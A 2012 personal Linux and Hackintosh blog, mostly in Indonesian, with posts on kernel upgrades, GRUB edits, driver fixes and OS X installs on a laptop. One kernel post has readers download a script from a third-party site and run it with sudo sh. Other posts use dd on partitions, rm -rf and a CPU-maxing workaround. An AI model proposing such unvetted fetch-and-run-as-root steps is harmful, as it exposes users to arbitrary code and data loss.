Tuesday, December 25, 2012

MERRY CHRISTMAS 2012




Merry Christmas ! Kami pengurus blog ini dengan bangga mengucapkan selamat natal bagi semua pembaca setia blog ini yang merayakanya. 

Semoga damai natal selalu beserta kita :)

Monday, December 24, 2012

[LINUX] Mount HFS Partition : Seems to be mounted read-only

Hackintoshku error gara - gara kemarin cuma asal - asalan mindah kext trus hasilnya ga mau booting lagi. Sempat kepikiran untuk menginstall ulang hackintosh lagi, cari cara lain yaitu membuka partisi Hackintosh yang berstruktur HFS+ pada linux. Untuk sekedar membuka partisinya saja Linux mampu untuk melakukanya, namun untuk mengeditnya Linux sepertinya tidak mempunyai kemampuan itu. Waktu aku coba untuk membuka partisinya ternyata terdapat error HFS seems to be mounted read-only. Untuk mengatasinya adalah dengan cara menginstall hfsprogs.

  1. sudo apt-get install hfsprogs
  2. sudo mount -t hfsplus -o force,rw /dev/sdx# /media/mntpoint
GOOD LUCK

Sunday, December 23, 2012

[LINUX] Mengaktifkan Splash Screen

Beberapa hari yang lalu saya menonaktifkan plymouth karena katanya bisa menambah waktu booting, namun ternyata tidak seberapa. Ketika akan mengaktifkan lagi, ternyata tidak bisa, saya pakai Super Boot Manager. Setelah muter - muter, ternyata saya lupa melakukan setting terhadap BURG saya yang masih tersetting ke "profile" yang seharusnya diisi "quiet splash" untuk menampilkan splash screen. Untuk melakukan itu, buka BURG setting yang ada di /etc/default dan cari bagian GRUB_CMDLINE_LINUX_DEFAULT dan ganti isinya menjadi "quiet splash".

Friday, December 21, 2012

[HACKINTOSH] Voodoo HDA - Sound Problem (Crackles)

Snow Leopard saya dibundle dengan driver sound dari Voodoo hda versi 2.7.2 yang mengalami maslah dengan suaranya yang prepet - prepet atau biasa disebut dengan crackles. Anehnya, sound terdengar biasa saja ketika anda terus menggerakan kursor mouse anda. Hal ini sangat tidak enak didengar, saya sudah mencoba upgrade dan downgrade driver kext namun hasilnya nihil. Setelah mencoba - coba, saya menemukan cara ampuh untuk mengatasi masalah ini, namun masih kurang efektif (menurut saya). 
  1. Buka Terminal.app
  2. Ketik "Yes > /dev/null" (tanpa tanda petik)
  3. Coba mainkan lagu / video
Jika berhasil, maka anda harus membiarkan terminal tersebut terbuka. Jika Terminal dimatikan, maka sound akan kembali error. Mungkin hal ini belum bisa disebut sebagai solusi, tapi jika mendesak ya cara yang lumayan :)

Efek samping : Dengan mengaktifkan cara tersebut, ada kalanya CPU Usage komputer anda akan mencapai 100% dan mungkin mengganggu kinerja komputer anda. 

Catatan : Ada yang bilang menggunakan parameter -f pada saat booting akan membuat masalah ini hilang, namun tidak bekerja di komputer saya (ACER 4540). 

Good Luck

Thursday, December 20, 2012

[HACKINTOSH] ACER 4540 - FULL RES (1366x768)

Tadi pagi tepatnya, otak atik hackintosh lagi di Acer 4540 ku. Terakhir laptop ini cuma bisa resolusi maksimal 1024x768, jadi ga enak banget buat dilihat, gambarnya ketarik tarik. Setelah bertanya - tanya di grup hackintosh indonesia yang ada di facebook, ternyata ada driver general ATI Mobility HD Radeon. Driver tersebut untuk sudah cukup jika anda hanya membutuhkan full-res, namun belum QE/CI. 

Percobaan pertama kedua gagal, resolusi tidak berubah, waktu itu sudah males main hackintosh, karena ada Linux Mint 14 Nadia, aku format Hackintoshnya dan install Nadia. Setelah ujian selesai, kepengen lagi install hackintoshnya, trus aku install lagi tapi dengan sedikit berbeda, aku minimalkan dukungan driver terhadap VGA ATI pas installasinya, jadi setelah berhasil terinstall di System Informationya tertulis kext not loaded. Hal ini memang saya sengaja untuk melihat kext yang terload jika saya memasang kext baru. Setelah memasang RadeonHD.kext, akhirnya pilihan 1366x768 pun muncul dan bisa diaktifkan, namun sayangnya belum bisa QE/CI. Walaupun begitu sudah nikmat dipandang, gambarnya tidak tertarik tarik lagi :)

Kesimpulanya jika ingin mencoba, usahakan semua driver VGA tidak terload, dan install RadeonHD.kext. Installasi kext bisa menggunakan kext helper, bisa digoogling sendiri ya !


Good Luck dan jangan sungkan bertanya :)

[OOT] Today is Doomsday

Sekedar mengingatkan bahwa hari ini 21 Desember 2012 menurut bangsa maya adalah berakhirnya tanggalan kalender mereka yang banyak diartikan oleh masyarakat umum sebagai hari kiamat :D
Walaupun tanggal 21 belum berakhir, sekedar info bahwa di Jogja tidak terjadi apa - apa, semoga tidak akan terjadi apa - apa sampai selamanya.  

Bagaimana kabar kotamu ?

Menambah Partisi OS X di GRUB

Sudah lama saya konsultasi di forum supaya OS X bisa berjalan bersama dengan Linux apapun distronya. Akhirnya saya dan teman-teman disana menemukan dua cara, cara pertama panjang banget script-nya sampai-sampai saya lupa menghafalnya karena tidak bisa diimplementasikan dileptop saya. Cara kedua lebih gampang yaitu:

sudo gedit /boot/grub/grub.cfg

Pada file grub.cfg nanti kita ubah adalah pada section dimana MacOS X bootloader berada. Misalnya seperti konfigurasi grub ditempat saya sebelum dilakukan edit


menuentry "Mac OS X (32-bit) (on /dev/sda6)" --class macosx --class os {
  insmod hfsplus
  set root='(hd0,6)'
  search --no-floppy --fs-uuid --set 1ac7d551c39ccf09
  insmod vbes
  set do_resume=0
  if [ /var/vm/sleepimage -nt10 / ]; then
    if xnu_resume /var/vm/sleepimage; then
      set do_resume=1
    fi
  fi
  if [ $do_resume == 0 ]; then
    xnu_uuid 1ac7d551c39ccf09 uuid
   if [ -f /Extra/DSDT.aml ]; then
    acpi -e /Extra/DSDT.aml
   fi
  xnu_kernel /mach_kernel boot-uuid=${uuid} rd=*uuid
  if [ /System/Library/Extensions.mkext -nt /System/Library/Extensions ]; then
    xnu_mkext /System/Library/Extensions.mkext
  else
    xnu_kextdir /System/Library/Extensions
  fi
  if [ -f /Extra/Extensions.mkext ]; then
    xnu_mkext /Extra/Extensions.mkext
  fi
  if [ -d /Extra/Extensions ]; then
    xnu_kextdir /Extra/Extensions
  fi
  if [ -f /Extra/devprop.bin ]; then
    xnu_devprop_load /Extra/devprop.bin
  fi
  if [ -f /Extra/splash.jpg ]; then
    insmod jpeg
    xnu_splash /Extra/splash.jpg
  fi
  if [ -f /Extra/splash.png ]; then
    insmod png
    xnu_splash /Extra/splash.png
  fi
  if [ -f /Extra/splash.tga ]; then
    insmod tga
    xnu_splash /Extra/splash.tga
  fi
 fi
}
Kode tersebut adalah hasil generate dari GRUB yang sayangnya tidak berhasil melakukan load terhadap Cameleon milik MacOS. Untuk memperbaikinya, hapus semua kode dibawah set root dan tambahkan "multiboot /boot". Hasilnya dapat dilihat seperti bawah ini. 
menuentry "Mac OS X (32-bit) (on /dev/sda6)" --class macosx --class os {
  insmod hfsplus
  set root=(hd0,6)
  multiboot /boot
}
Catatan : Biasanya GRUB akan mendeteksi 2 versi MAC OS yang versi 32 dan 64 bit. Versi 64 bit jarang digunakan, anda bisa menghapusnya dari grub.cfg. JANGAN LAKUKAN update-grub SETELAH MERUBAH grub.cfg!

Good Luck!

Friday, December 14, 2012

[REVIEW] KERNEL 3.7

Baru sekarang bisa mereview tentang kernel 3.7 yang kemarin baru rilis. Setelah kemarin kompilasi kernel menunggu selama 1 jam lebih, akhirnya bisa menikmati kernel 3.7. 

Pada komputer saya yang berarsitektur AMD 64bit, tidak ada masalah yang berarti. Namun masalah yang terjadi adalah pada VirtualBox saya yang tidak kompatible dengan kernel baru tersebut. Kernel 3.7 tidak disupport oleh Virtualbox 4.2.0, maka dari itu saya harus mengupdate ke VirtualBox 4.2.4. Saya melakukan upgrade dengan mengunduh versi terbaru disini. Sempat mengalami kegagalan dalam mendownloadnya, dan harus ngulang lagi download 50MB :( 

Setelah download selesai, silahkan install versi yang terbaru  dengan begitu Virtualbox dapat berjalan kembali. Error tersebut dikarenakan tidak kompatibelnya antara driver milik virtualbox lama dengan versi kernel yang terbaru.

Wednesday, December 12, 2012

Touchpad Tidak Berfungsi


sudo apt-get install xserver-xorg-synaptics 
Kemudian setelah itu coba booting kembali komputer anda :)

Tuesday, December 11, 2012

Kernel 3.7 dirilis

Hari ini baca tweet dari dosen yang ternyata kernel 3.7 telah dirilis resmi oleh Linux dan dapat dinikmati di www.kernel.org. Tidak hanya kernel 3.7, kernel 3.6.10 juga sudah dirilis disitusnya. Menurut penjelasanya, kernel baru ini sudah support ARM64, update Intel dan Radeon card, begitu juga dengan perbaikan file system ext4 yang kemarin sempat bermasalah di kernel 3.6.

Menurut informasi dari softpedia, beberapa update yang dilakukan di kernel versi ini adalah sebagai berikut :
· Support for 64-bit ARM;
· Better power management for Radeon GPUs;
· Better support for Intel graphics;
· Improved Nouveau DRM video driver;
· EXT4 improvements;
· Btrfs hole-punching;
· Improved support for Intel AES-NI;
· Support for Xen EFI video mode;
· IPv6 Netfilter enhancements;
· ARM Xen virtualization support for Cortex-A15;
· Nintendo Wii Balance Board driver support;
· Audio Run-Time Power Management;
· Support for JFS TRIM on SSDs;
· Support for Oracle SPARC-T4.

Untuk selengkapnya bisa dibaca di kernelnewbies.org. Disitu dijelaskan terperinci mengenai segala update yang dilakukan pada kernel 3.7 ini. Saat ini masih belum ada waktu untuk mencobanya, mungkin besok saya akan coba download dan mencicipinya :)

Saturday, December 8, 2012

[XFCE] Ganti Warna Font Icon (Desktop)

Sudah lama saya pakai GNOME atau Cinnamon, sekarang pengen pindah ke desktop environment yang lebih enteng lagi, biar bisa maksimal buat jalanin aplikasi. Kemarin sempat coba - coba beberapa desktop yang sangat enteng seperti OpenBox, Sawfish, FVWM, dll namun menurutku kurang menarik. Enteng banget, tapi untuk akses sehari - hari kayaknya masih perlu banyak polesan. Akhirnya pindah ke XFCE, sebenarnya sudah lama desktop ini ada di komputer, tapi malah jarang kepakai.

Kostumisasi sedikit - sedikit, sekarang sudah lumayan menarik (menurut saya) dan lumayan enteng, tapi ada satu yang ganjal. Warna icon di desktop adalah hitam, yang menjadikan tulisanya kurang bisa dilihat. Cari - cari cara untuk merubahnya, akhirnya kutemukan caranya.
  • Masuk ke home directory, lalu aktifkan "show hidden files" (CTRL+H)
  • Carilah file .gtkrc-xfce dan buka pakai gedit atau sejenisnya
  • Isinya seperti ini 
style "xfdesktop-icon-view" {
    XfdesktopIconView::label-alpha = 0
    fg[NORMAL] = "#000000"
    fg[SELECTED] = "#000000"
    fg[ACTIVE] = "#000000"
}

  • Disitu ada 3 kondisi NORMAL, SELECTED & ACTIVE. Nilai masing - masing kondisi adalah #000000, yaitu adalah nilai hexa dari warna hitam. 
  • Silahkan ubah sesuka anda untuk mendapatkan warna sesuai keinginan anda. Parameter yang digunakan adalah #RRGGBB dengan rentang 00 - FF
  • Contohnya untuk mendapatkan warna putih bisa menggunakan kode #FFFFFF
  • Disitu juga terdapat label-alpha = 0, yang merupakan variable untuk mengeset background dari tulisan icon. 0 - 100. Jika 0 maka tidak terlihat, 100 maka terlihat.
  • Jika sudah, save dan logout dan login kembali 
Selamat Mencoba 

 

[OOT] Minggu Yang Berat

Minggu - minggu terakhir semester 3 yang akan berakhir di bulan Desember 2012, dan menyambut natal. Banyak tugas bertubi - tubi, namun satu persatu mulai berkurang, presentasi - presentasi sudah berkurang, tinggal mempersiapkan diri untuk ujian akhir semester. May God Bless ME ! :D

Satu lagi, terakhir update ke kernel 3.6.9 dan kemarin dapet master ISO Linux Mint 14 (Nadia) dari Adimas Anggi yang katanya codename dari Mint 14 sama dengan mantanya dia. . Hahahahha Namun sayang sekali, aku ga nemuin fitur untuk upgrade dari Mint 13 ke 14. Tidak seperti Ubuntu 12.10 yang nyediain pilihan upgrade di installernya. Maka dari itu, masih setia dengan Maya (Mint 13), mungkin besok kalau ada waktu mampir ke lab TI untuk upgrade lewat repo. 

Wednesday, December 5, 2012

Kernel 3.6.9 : All of 3.6 user must upgrade !

Kernel 3.6.9 sudah dirilis di www.kernel.org, atau anda bisa mendownloadnya disini. Belum lama 3.6.8 keluar, sudah keluar 3.6.9. Saya masih belum mencicipi kernel baru ini, masih belum ada waktu untuk download dan mengcompilenya. Menurut softpedia, kernel 3.6.9 ini memiliki banyak upgrade pada driver, update pada file system (Ext4 dan JFFS), perbaikan sound, perbaikan networking, dan banyak tweak yang lainya. 

Mungkin sehabis UAS, saya akan mencoba memakai versi ini, karena kelihatanya cukup menjanjikan tentang dukungan driver :)

Friday, November 30, 2012

Kaos Linux

Rencana mau buat kaos Linux, pakai desain yang simpel biar harganya ga mahal. Desain dari bang Jung Seon Cup. Rencananya mau pesan ke In teeshirt, harga Rp. 82.000,00 ukuran logo A3.


Kernel 3.6.8

Belum lama sudah muncul lagi kernel 3.6.8 yang bisa anda download di www.kernel.org. Perbaikan yang ada diantaranya adalah :
  1. ALSA: usb-audio: Fix crash at re-preparing the PCM stream
  2. ALSA: hda - Fix invalid connections in VT1802 codec
  3. ALSA: hda - Fix empty DAC filling in patch_via.c
  4. ALSA: HDA: Fix digital microphone on CS420x
  5. tcp: fix retransmission
Untuk saya, sekiranya belum ada yang perlu untuk update ke versi ini. Saya masih pengguna 3.6.6, kemarin mau update 3.6.7 malah langsung muncul 3.6.8, kayaknya lebih baik menunggu yang 3.7 di release secara resmi :)

Install Hackintosh di ACER 4540

Beberapa hari yang lalu melihat temen yang mau install Hackintosh di komputer miliknya membuat saya kepengen punya hackintosh juga di komputer saya. Hackintosh adalah oprekan Macintosh yang bisa berjalan di platform PC (Intel atau AMD). Mungkin sebelumnya pernah dijelaskan oleh Ucup di post ini http://www.f-comp.com/2012/10/install-os-x-di-pc.html

Saya pun akhirnya diajari oleh Ucup untuk menginstall hackintosh di komputer saya. Komputer saya ACER 4540 dengan spesifikasi 

  • AMD Turion X2
  • ATI HD 4200
  • RAM 3GB
  • HDD 320 GB 
Laptop yang sudah kuno sebenarnya, dan hanya bisa support Mac OS 10.6 atau Snow Leopard. Hasilnya lumayan menggembirakan, namun ada 1 yang belum tuntas solusinya, yaitu masalah VGA. Berikut ini adalah device yang langsung bekerja dengan driver bawaan Hackintosh 
  1. Sound
  2. WiFi (Atheros)
  3. Bluetooth
  4. Touchpad
  5. WebCam
Ga apa apa lah, namanya juga untuk coba - coba. Hasil yang cukup memuaskan, namun masih kurang puas karena VGA nya belum bener sepenuhnya, masih Low Res (1024x768). Tidak enak sekali dipandang mata, standar resolusi komputer saya 1366x768. Masih melakukan banyak percobaan untuk mengubah resolusi menjadi Full Res.





Thursday, November 15, 2012

Chroot : Exec Format Error

Jam 2 malam kaya gini mau buka komputer ternyata burgnya error. Lupa tadi kuapain, karena LiveUSB keformat, jadinya bongkar tempat CD. Asal ngambil CD linux buat restore BURG biar bisa masuk ke Mint lagi.

Setelah masuk dan booting yg lama banget dan berisik suara CD. Waktunya merestore BURG! Setelah selesai mounting, pas mau jalaning perintah chroot ternyata error.

Errornya :
CHROOT : Exec Format Error

Hal ini disebabkan karena perbedaan system arsitektur komputer saya dengan master linux yang saya masukkan tadi. Komputer saya terinstall dengan Linux Mint 64 bit, sehingga jika ingin restore, harus menggunakan arsitektur yang sama.

SOLUSI?
Coba booting dengan master linux yang sesuai dengan linux yang terinstall di komputer anda. Lebih baik menggunakan master yang sama seperti linux yang terinstall.

Tuesday, November 13, 2012

Percepat Kompilasi Kernel

Terkadang kita males melakukan kompilasi kernel sendiri yang sudah kita download dari www.kernel.org. Malesnya begini, source code kernel yang kita download sudah besar (~70MB) ditambah lagi dengan penderitaan menunggu kompilasi kernel selesai (~ 1 jam). Hal tersebut sangat membosankan. Namun nilai positifnya adalah, kita bisa mengkonfigurasi manual sesuai dengan komputer yang kita gunakan. Setiap saya melakukan kompilasi kernel, saya selalu menambahkan parameter -j . Parameter ini berfungsi untuk melakukan beberapa tugas (job) sekaligus dalam 1 waktu. Sehingga proses kompilasi dapat berlangsung lebih cepat. Bisa anda lihat sendiri dalam manual dari make. 
-j [jobs], --jobs[=jobs]
Specifies the number of jobs (commands) to run simultaneously. If there is more than one -j option, the last one is effective. If the -j option is given without an argument, make will not limit the number of jobs that can run simultaneously.
Untuk penggunaanya, anda bisa menambahkanya setiap anda melakukan perintah make. Seperti contoh make -j2. Berarti program akan melakukan 2 thread sekaligus untuk melakukan kompilasi terhadap kernel.

Untuk Diingat! 
Sebaiknya anda menyesuaikan jumlah job dengan jumlah core pada prosesor komputer anda. Jika anda mempunyai 2 core pada prosesor, silahkan set menjadi j2. Jika 4 core, maka j4. Hal ini sudah cukup membebani prosesor anda, dapat dilihat dari CPU Usage yang tinggi.

Monday, November 12, 2012

Bahasa Indonesia

After this post, I will use Bahasa Indonesia as primary language for this blog. I will use Indonesian formal language for you, so you can translate the language into others language perfectly. Why ? Because if I write some tutorials in English, I can't explain the steps more clearly because English is not my primary language. 

Sorry. 

Friday, November 9, 2012

Fix Internal Error -- Ubuntu Software Center

Last night my friend told me that the Ubuntu software center on his computer can't download a Chrome browser. It said that "Internal Error and chrome couldn't installed". I think that error because of the dependencies. The dependencies seems to be error because of the last installation is not complete. So I did below command and it will repaired the system dependencies.
 sudo apt-get install -f  


Wednesday, November 7, 2012

How to Compile Kernel ?

How to compile kernel ? Change the kernel is the one that not important for you if you have stable kernel with your hardware. Because upgrading a kernel may harm your hardware if you don't know how to configure the kernel configuration. You can see any update of available kernel from www.kernel.org. Every time Linus Torvalds release the kernel source code, you can download from there. The question is, how to compile the kernel and install to my computer ?
  1. First you must download the kernel source code from www.kernel.org
  2. After downloaded, extract with your favorite package manager, or you can do that from terminal and type this command tar -xjvf linux-x.y.z.tar.bz2 -C /usr/src
  3. The source code will be unpack to folder /usr/src
  4. Go to the directory by typing cd /usr/src
  5. Type make menuconfig to configure the kernel before you compile it. 
  6. BE CAREFUL ! There are plenty of configuration that if you didn't careful, the kernel may not work perfectly on your computer. If you don't know how to configure, just leave it default.
  7. To compile, type sudo make. It will took a long time to compile the kernel, about 50 - 60 minutes. 
  8. After finished, type sudo make modules_install install. The command will install the driver for your hardware and after it finished, the kernel will be updated into your system. 
  9. After that, reboot the computer, and the kernel should be in the GRUB list. If didn't, boot with old kernel, go to terminal and type update-grub (GRUB user) [OPTIONAL]
  10. Simple enough to do this, the bad things is that you must wait for a while to compile the kernel. If you have any question, please post here. 
Correct Me If I Wrong :)

Tuesday, November 6, 2012

NUTZ! 5.0 -- Quantal Release Party Yogyakarta

This year, my campus organized an events to celebrate the Ubuntu 12.10 release. The events called NUTZ, after NUTZ 4.0 that celebrated the release of Ubuntu 11.10, so this year we call it NUTZ 5.0. We're going to talk about Cloud Computing in this event,  so we edited the Ubuntu's slogan "Ubuntu for Human Being" to "Cloud for Human Being". Why ? Because in this new release of Ubuntu, Canonical make some features to support cloud computing. Just like an integrated Amazon.com inside the Unity menu. We work together with Mr. Dani Adhipta as Lecturer from Gajah Mada University, Biz Network, and Ubuntu Jogja Community as the talker of this event. Thanks to BizNet and Toko Baliwae. More information ? Check the poster below :D



You're in Jogja or near Jogja ? Please come and join us ! Celebrate the Release Party !

Monday, November 5, 2012

Kernel 3.6.6 -- Not working well

After upgrading to kernel 3.6.6 from www.kernel.org. It seems not compatible with my computer hardware. My touchpad isn't working, but on 3.6.5 it works well. I don't know why, I'm back to 3.6.5 for a while.

Saturday, November 3, 2012

Expanding my Linux's Partition

My Linux partition was so small (40GB) and I need to resize it and delete my Windows's partition. So I must backup my Linux partition and restore to the big one. I use dd to do this, very simple software.
Backup : dd if=/dev/sdax of=file.img 
Restore : dd if=file.img of=/dev/sdax 
Restore with proggress bar :dd if=FILE.IMG | pv -s $(stat file.img | egrep -o "Size : [[:digit::]]*" | egrep -o "[[:digit:]]*") | dd of=/dev/sdax




After waiting restoration progress, finally I got 92.7 GB for my Linux space ! Woohoo !


Saturday, October 27, 2012

Google Chrome : Profile couldn't be opened correctly

Last night I browsing with my chrome and when I'm done, I straight to shutdown my PC without close the Chrome browser. This morning, I opened the chrome again and it show an error about the profile could not be opened correctly. This error because some history file couldn't read/write. So the solution is to delete all browser history, read steps below :


  1. Open a terminal
  2. Change directory "cd ~/.config/google-chrome/Default"
  3. Delete the file named “Web Data”:  rm -rf Web\ Data;
  4. Start Google Chrome and the error should be gone.

Friday, October 26, 2012

Fix Hibernate Button not Active

After installing Linux Mint 13, I did many tweak with my linux, such as upgrade the kernel to 3.6.2-030602 and it works very perfectly. Yesterday when I want to hibernate my computer, the hibernate button was grayed (disabled). Seems to be there's no space to dumping all information from RAM into disk.


  • Problem : Hibernate button not active
  • Solution : 

    • Your swap partition is not big enough to contain RAM contents.
    • You can check the size of your swap partition and the size of memory inside RAM. Type free -m inside the terminal. 
    • You can see my computer's running memory above. My swap size is 1905 MB and the running memory is 2755 MB. This make the hibernate button not active, because running memory > swap size. 
    • The solution is to resize swap memory into 3 GB (depends on your RAM size). You can use many tools to resize the partition, just like GPARTED, KDE Partition, etc.
    • I recommended you use them (partition tools) without load your Linux. So you can use the LiveUSB or LiveCD/DVD.

Thursday, October 25, 2012

Migration to Linux Mint

Week ago, after I upgrade my Ubuntu to 12.10, I found many problems on it such as lag problem when I trying to play with HD videos. I was so disappointed with Ubuntu 12.10, the interface is good, but the performance is BAD. So I think to downgrade back to Ubuntu 12.04, but I was so lazy to re install my apps again, specially the main apps that I usually use everyday (browser, media player (plugin), tools). 


I used to think to move to other distros that already included with many tools. After long thought about it, I finally choose the Linux Mint distro 13 (Codename : Maya). Linux mint 13 already included many apps that I used everyday such as music/video player without installing some plugins. I install the xfce version of Linux Mint 13, because I'm considering the size when I download the ISO. 
Download Linux Mint


Friday, October 19, 2012

Mouse Freezes after Upgrade to 12.10

Today I finally downloaded latest version of Ubuntu, Ubuntu 12.10. After waiting for a long time for downloading it (~6 hours), I tried to install it and upgrade my 12.04. The installation is very smooth, and about 15 minutes the installation is done. When I tried to log in, I had some problem with my mouse. It won't work! I don't know why. I tried to restart my computer again and try to move the cursor, but nothing happen. So, I had a idea to upgrade my kernel (3.5.0) into my 12.04 kernel where it was (3.6.2). Aaaanddd, It's work !!

I don't know if it a bug or not, or just the driver that can't detect my hardware. So, if you get the same problem, maybe you should try to upgrade your linux kernel. How to upgrade ?? try this.

Install OS X di PC

Permisi saya perusuh baru ditempat ini, salam kenal !!

Pastinya banyak orang yang ingin mencicipi OS X yang katanya eksklusif ini. Ada dua jenis OS X yang beredar dipasaran yaitu retail dan distro. Retail itu installer OS X yang masih fresh atau installer yang belum diotak-atik oleh pihak ke-dua jika distro adalah installer OS X yang sudah diotak-atik oleh pihak kedua misalnya diberikan mbr patch, kext tambahan, dsb. Saya kasih contoh distro-distro yang terkenal yaitu iAtkos, Hazard, Niresh, iRimbi, dan Blangsak. Sekarang saya jelaskan tentang metode membuat installer, banyak cara yang bisa dipakai untuk install OS X ini.

Pertama menyiapkan installer, bagi orang yang memakai distro kalian tinggal inject ke flasdisk saja menggunakan disk utility-nya OS X tapi kalau belum punya OS X kalian bisa burn distro kalian menggunakan aplikasi TransMac di Windows. Ya memang begitulah kalau memang tidak mau repot ya download distro atau kalau tidak mau download bisa minta saya atau beli ditoko online. Jika kalian menggunakan yang retail setahu saya ada tiga cara yaitu myhack, unibeast, dan inject disk utility. Ketiga cara itu harus menggunakan OS X ya karena itu semua aplikasi spesial untuk Mac. Pada dasarnya ketiga cara itu hampir sama terutama unibeast dan disk utility. Oke saya akan menjelaskan caranya melalui myhack, ini adalah cara yang paling mudah kalian tinggal masukan root password kalian terus pilih Create OS X Installer lalu pilih versi OS X nya pilih destinasi flash drive-nya kemudian kalian tunggu sekitar 15-20 menitan dan jadilah installer tersebut. Cara kedua menggunakan unibeast, pertama kalian harus mount image dari OS X-nya lalu drag lambang singa ke folder Applications, jalankan unibeast dan ikuti langkah yang ditunjukkan lalu tunggu 15-20 menitan untuk menyelesaikan prosesnya. Cara ketiga yaitu lewat disk utility, kalian harus memilih flash drive anda lalu pilih restore image terus drag source imagenya yaitu image OS X yang sudah dimount lalu pilih restore kemudian tunggu lagi. Sebenarnya cara unibeast dan disk utility masih kurang karena MBR patch belum ada disana. MBR patch ini berfungsi supaya os ini bisa diinstall di skema partisi MBR karena OS X pada dasarnya hanya mau diinstall di skema partisi GUID, ya itu memang terserah kalian jika kalian hanya ingin satu OS yaitu OS X saja ya pakai GUID tapi kalau mau dual boot atau selebihnya ya pakai MBR. Selanjutnya untuk yang melalui disk utility jangan lupa install boot loader biasanya Chameleon atau Chimera. Ya, memang begitu ribetnya cara ini kalau tidak mau ribet ya cari distro atau pakai myhack.

Kedua, setelah installer sudah selesai tancapkan flash drive atau masukkan dvd installer kedalam PC kamu. Saya sarankan kalau mau enak installnya gunakan hardware dari Gigabyte, Intel, dan Nvidia dan jangan lupa gunakan mouse dan keyoboard usb karena kalau masih pakai colokan PS/2 pasti kemungkinan kedetect oleh installer sedikit malah tidak support sama sekali. oiya jangan lupa setting SATA pada BIOS diubah ke AHCI. Setelah masuk ke pilihan bootloader pastikan pilih installernya ya, kalau nanti ada kernel panic berarti ada kext yang tidak bisa bekerja sama dengan hardware anda dan itu harus diberikan jamu dibootflag sebelum run installer dibootloadernya. Untuk bootflag besok saja saya jelaskan karena itu panjang sekali tapi kalau hardware kalian seperti yang saya bilang diatas saya jamin kemungkina kernel panic turun drastis. Setelah masuk di UI-nya installer kalian pilih OK dan Agree saja untuk semua agreement atau keputusan yang harus diambil terus jangan lupa pilih menu utility ---> disk utility siapakan partisi untuk OS X ini dan format ke Mac-extended-journaled. Setelah itu maju terus keakhir menu install dan pilih partisi kalian lalu tunggu sampai instalasi selesai.

Ketiga, setelah proses instalasi selesai kalau kernel panic kemungkinan besar yaitu ada kext yang tidak bisa diload oleh OS. Ya caranya besok kita bahas tapi kebanyakan bisa masuk sampai desktop tanpa masalah apalagi yang pakai distro. Setelah semua selesai biasanya trackpad, keyboard, wlan, network, batere indikator, sound dkk belum terdetect karena itu nanti pasang kext baru seperti VoodooHDA, VoodooBattery, IO80211, ApplePS2, AppleRTL, dsb menggunakan kext helper atau bisa masuk ke S/L/E untuk cara ribetnya. Setelah kalian install biasanya sih ya berhasil tapi ada juga yang bikin kernel panic karena tidak cocok tapi tetap coba terus saja karena menjadi seorang hackintosher itu juga menyenangkan.

Oiya saya minta maaf kalau tidak bisa menyajikan screenshot pada setiap langkahnya itu karena saya lupa. Satu lagi saya lupa kalau OS X juga bisa diinstall di virtula box. Kalau berhasil nanti kayak gini untuk yang atas sebagai primary (Lion) dan yang bawah di virtual box (Snow Leopard).





Thursday, October 18, 2012

Finally Released : UBUNTU 12.10 Quantal Quetzal


Today is the day 19 October 2012 (Indonesian) at midnight, Canonical released the final release of Ubuntu 12.10 (Quantal Quetzal). After a long time I waited for this moment to celebrate the Ubuntu 12.10 release party ! I'm very happy to hear that after I watching some review about new features of Unity 6.8.0 desktop, and it's pretty awesome with new feature online accounts. With online accounts you can connect your PC into the social media (twitter, facebook, google+, etc) and many other popular sites (Last.FM, eBay, GMail) without opening your browser. Ubuntu 12.10 bundled with Linux Kernel  3.5.4 and support GNOME 3.6. I want this very much, my Ubuntu 12.04 can't upgrade to GNOME 3.6 because GNOME 3.6 only support Ubuntu 12.10 for now.




Download here!

Monday, October 15, 2012

Disable Send Error Report -- Ubuntu 12.04


I think Ubuntu 12.04 (Precise Pangolin) is the most buggy system than older release. Sometimes I got error report when I'm not doing anything, it was so annoying for me. Now, if you think that it's so annoying too, you can disable it from the configuration file

sudo gedit /etc/default/apport
Open it and change the enable value from 1 to 0. And it's done!

Reinstalling AMD Galium 0.4 After Crash :(

After I upgraded my kernel into 3.6.2, I found some error with my VGA driver. You can check it out here (install kernel). There are some glitches on the text that so annoying for me :( So I think installing AMD Proprietary driver is the solution, but the installation was not successful, and my display driver restored to VESA that just support 1024 x 786. 
After restore xorg.conf from the backup file, the default driver ran again, but it's not powerful at all. So, my solution is to re install the Galium 0.4 driver again, so here the steps :
  1. sudo apt-get remove --purge xserver-xorg-video-ati xserver-xorg-video-radeon (delete all files that contain ATI's drivers)
  2. sudo apt-get install xserver-xorg-video-ati xserver-xorg-video-radeon (redownload AMD Radeon standard driver)
  3. sudo apt-get install --reinstall libgl1-mesa-glx libgl1-mesa-dri xserver-xorg-core (reinstall vesa library)
  4. sudo dpkg-reconfigure xserver-xorg (re-configuring xorg)
After those steps completed, you must reboot your system to check if the driver successfully updated.

[SOLVED] Read-Only Filesystem inside Recovery Mode

Read Only filesystem always happen if you enter Recovery mode, to change this state, try this command at your prompt :
mount -rw -o remount /

Install Linux Kernel 3.6.2 on Ubuntu 12.04

Last night I want to try new experiment about upgrading Linux kernel in easy way (without compiling from source). After searching about an hour and do trial and error, I found the easiest way to upgrade it. Here the steps to upgrade your kernel :

  1. Open your Linux terminal (CTRL + ALT + T)
  2. cd \tmp (Change active directory to temporary)
  3. wget http://fcomp.3owl.com/download/update-kernel3.6.2 -O update-kernel3.6.2 (Download the installer) 
  4. sudo chmod +x update-kernel3.6.2 (Change permission to active executable)
  5. sudo sh update-kernel3.6.2 (Execute the installer)
  6. Reboot your PC and enjoy the kernel :)
  7. Here the screenshot about the new kernel :)
But I found some bug on the new kernel. I think it's on the VGA driver. There are some glitch (red arrows) on the text. I'm still working to repair it.

Saturday, October 13, 2012

[SOLVED] Clementine -- G-Streamers installation missing plugin


I just downloaded media player for my Linux, because I got bored with my old media player. I downloaded Clementine media player. Such a good media player, that support Last.FM and Radio streamers.

But my problem was I cannot play radio streaming from my Clementine. It said that
"G-Streamers Installation is missing plugins"
That error because the codec is not installed.  So I must install the codec first to make it work. Open terminal (CTRL+ALT+T) and type :
sudo apt-get install gstreamer0.10-plugins-bad
After installed, try to restart your player and test it again. Good Luck !

Sunday, September 30, 2012

[CRASH] Bad news from my penguin :(

A week ago I tried to upgrade my Ubuntu 12.04 into 12.10. With my slow internet connection, its ran about 24 hours to download the upgrade. After waiting for it, I choose the wrong options about to kill the KDM DAEMON.... anddd its crash. Im so confused about this.

Nothing can restore my linux config :(
finally, I reinstall my linux, and now I try to always backup my installed packages.

Wednesday, September 19, 2012

